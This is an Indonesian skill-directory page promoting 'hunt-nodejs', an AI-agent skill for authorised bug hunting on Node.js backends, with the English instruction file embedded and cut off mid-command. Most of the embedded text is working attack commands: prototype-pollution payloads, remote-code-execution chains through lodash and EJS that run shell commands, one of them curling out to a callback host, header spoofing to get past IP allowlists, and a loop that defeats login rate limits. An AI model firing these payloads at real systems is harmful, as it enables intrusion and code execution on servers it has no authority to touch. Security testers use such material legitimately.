Langsung ke konten
Skillpedia
Keamanan5.4k Β· #14923

hunt-nodejs

Fungsinya

Skill ini memeriksa backend Node.js untuk pola kode berbahaya dan kesalahan pengaturan. Ditujukan untuk pengujian resmi pada Express, Fastify, NestJS, dan aplikasi serupa.

Kapan dipakai

  • βœ“Saat sebuah aplikasi berjalan di Node.js atau Express dan menerima JSON dari pengguna.
  • βœ“Saat mesin template seperti EJS atau Pug merender input pengguna.
  • βœ“Saat server file atau path modul mungkin memakai input yang dikendalikan pengguna.

Link skill

https://github.com/elementalsouls/Claude-BugHunter/blob/main/skills/hunt-nodejs/SKILL.md

Salin lalu tempelkan ke AI Anda (Claude, ChatGPT, atau Cursor) dan minta AI mengikuti instruksinya.

Cara pakai

Cara paling mudah: salin pesan ini dan tempelkan ke AI Anda. AI akan membaca skill dan mengikuti instruksinya.

Pesan siap tempel

Gunakan skill ini untuk membantu saya: https://github.com/elementalsouls/Claude-BugHunter/blob/main/skills/hunt-nodejs/SKILL.md Baca file SKILL.md di link tersebut dan ikuti instruksinya untuk tugas saya.
Mau AI Anda menemukan skill seperti ini sendiri?Pasang MCP Skillpedia gratis: cukup satu baris, dan AI mencari di antara 15.000+ skill sebelum tiap tugas.Pasang dalam 1 menit β†’

Contoh permintaan ke AI

β€œBackend kami berjalan di Express. Bisakah Anda memeriksa prototype pollution dan template injection dalam uji resmi kami?”

5 skill baru setiap minggu. 1 menit baca.

Cara kerjanya

Agent mencari tanda-tanda Node.js, lalu mengirim input yang dipilih dengan cermat ke penggabungan objek, template, dan pemanggilan shell. Agent hanya melaporkan masalah yang terkonfirmasi.

Konten teknis (SKILL.md asli)

Teks asli dari pembuat, dalam bahasa Inggris, langsung dari GitHub.

HUNT-NODEJS β€” Node.js Specific Vulnerabilities

Crown Jewel Targets

Prototype Pollution reaching a sink in Node.js backend = Critical RCE.

Highest-value chains:

  • Prototype Pollution β†’ RCE β€” __proto__ injection via lodash.merge / Object.assign β†’ polluted prototype reaches child_process.exec or vm.runInNewContext sink
  • Express trust proxy β€” app.set('trust proxy', true) without validation β†’ attacker sets X-Forwarded-For to bypass IP allowlists or rate limits
  • EJS/Pug SSTI β€” template engine receives user input β†’ {{= process.mainModule.require('child_process').execSync('id') }}
  • child_process injection β€” user input interpolated into shell command string β†’ OS command injection
  • require() path traversal β€” attacker-controlled module path β†’ load arbitrary file as JS

Attack Surface Signals

X-Powered-By: Express           Confirms Express.js
Node.js in error messages        Runtime detected
package.json exposed             Dependency list + versions
/proc/self/environ accessible    Environment variable exfil
Error stack traces with .js paths  Node.js confirmed
__proto__ in JSON accepted        Prototype pollution candidate

Phase 1 β€” Fingerprint

# Confirm Node.js/Express
curl -sI https://$TARGET/ | grep -i "x-powered-by\|nodejs\|express"

# Check for package.json / node_modules exposure
curl -s "https://$TARGET/package.json"
curl -s "https://$TARGET/package-lock.json"
curl -s "https://$TARGET/node_modules/.package-lock.json"

# Error-based version detection
curl -s "https://$TARGET/nonexistent-path-xyz" | grep -i "node\|express\|cannot GET"

Phase 2 β€” Prototype Pollution Detection

# JSON body injection β€” test if __proto__ is accepted
curl -s -X POST https://$TARGET/api/merge \
  -H "Content-Type: application/json" \
  -d '{"__proto__": {"polluted": "yes"}}'

# Constructor prototype
curl -s -X POST https://$TARGET/api/settings \
  -H "Content-Type: application/json" \
  -d '{"constructor": {"prototype": {"isAdmin": true}}}'

# URL query param injection (qs library)
curl -s "https://$TARGET/api/search?__proto__[polluted]=yes&query=test"
curl -s "https://$TARGET/api/data?constructor[prototype][admin]=1"

# Confirm pollution: does a subsequent request reflect the polluted key?
curl -s "https://$TARGET/api/me" | grep -i "polluted\|isAdmin\|admin"

Phase 3 β€” Prototype Pollution β†’ RCE Chain

# If pollution is confirmed, attempt to reach dangerous sinks

# Sink 1: child_process via options.shell pollution
curl -s -X POST https://$TARGET/api/update \
  -H "Content-Type: application/json" \
  -d '{
    "__proto__": {
      "shell": "node",
      "NODE_OPTIONS": "--require /proc/self/fd/0",
      "env": {"NODE_OPTIONS": "--inspect=COLLAB_HOST"}
    }
  }'

# Sink 2: lodash template pollution (CVE-2021-23337)
curl -s -X POST https://$TARGET/api/render \
  -H "Content-Type: application/json" \
  -d '{"__proto__": {"sourceURL": "\nreturn process.mainModule.require(\"child_process\").execSync(\"id\").toString()//"}}'

# Sink 3: ejs template options pollution
# If EJS is used for rendering, pollute the `opts.escapeXML` or `opts.outputFunctionName`
curl -s -X POST https://$TARGET/api/template \
  -H "Content-Type: application/json" \
  -d '{"__proto__": {"outputFunctionName": "x;process.mainModule.require(\"child_process\").execSync(\"curl COLLAB_HOST/pp-rce\");x"}}'

# OOB confirmation β€” check Interactsh for callback

Phase 4 β€” Express Trust Proxy Abuse

# If Express has trust proxy enabled, X-Forwarded-For is trusted
# Test: does spoofed IP bypass IP-based rate limiting or allowlist?

# Spoof IP to 127.0.0.1 (localhost bypass)
curl -s -X POST https://$TARGET/api/admin/action \
  -H "X-Forwarded-For: 127.0.0.1" \
  -H "Content-Type: application/json" \
  -d '{"action": "test"}'

# Spoof to internal IP range
curl -s -X POST https://$TARGET/api/internal \
  -H "X-Forwarded-For: 10.0.0.1" \
  -H "X-Real-IP: 10.0.0.1"

# Rate limit bypass via rotating fake IPs
for i in $(seq 1 50); do
  curl -s https://$TARGET/api/login \
    -H "X-Forwarded-For: 1.2.3.$i" \
    -d '{"email":"admin@test.com","password":"wrong"}' \
    -o /dev/null -w "$i: %{http_code}\n"
done

Phase 5 β€” Template Engine SSTI (EJS / Pug / Handlebars)

# EJS SSTI β€” if user input reaches EJS template context
# Test basic: <%= 7*7 %> should return 49
curl -s -X POST https://$TARGET/api/render \
  -H "Content-Type: ap
Pertanyaan umum

Apa itu prototype pollution?

Itu terjadi ketika input pengguna mengubah objek dasar yang diwarisi objek JavaScript, sehingga perilaku aplikasi bisa berubah.

Mengapa trust proxy penting?

Jika diatur tanpa pemeriksaan, penyerang bisa memalsukan alamat IP mereka untuk melewati daftar izin atau batas permintaan.

Apakah ini memeriksa data lingkungan?

Ya. Skill ini memeriksa apakah data lingkungan, yang bisa berisi rahasia, terekspos.

Detail

Deskripsi asli dari pembuat

Hunt Node.js specific vulnerabilities β€” Prototype Pollution β†’ RCE chains (lodash/merge/assign), Express trust proxy misconfiguration, child_process/eval injection, template engine SSTI (EJS/Pug/Handlebars), path traversal in file servers, require() injection, environment variable exfil via /proc/self/environ. Use when target runs Node.js/Express/Fastify/NestJS/Koa.

repo: elementalsouls/Claude-BugHunter

Popularitas

Bintang GitHub
5.4k
Peringkat
#14923
Lisensi
MIT
Diperbarui
2/11/2026

Apakah skill ini berguna?

0

Masuk untuk memberi suara.

Komentar

  • …

Skill lain dari repositori ini

Skill serupa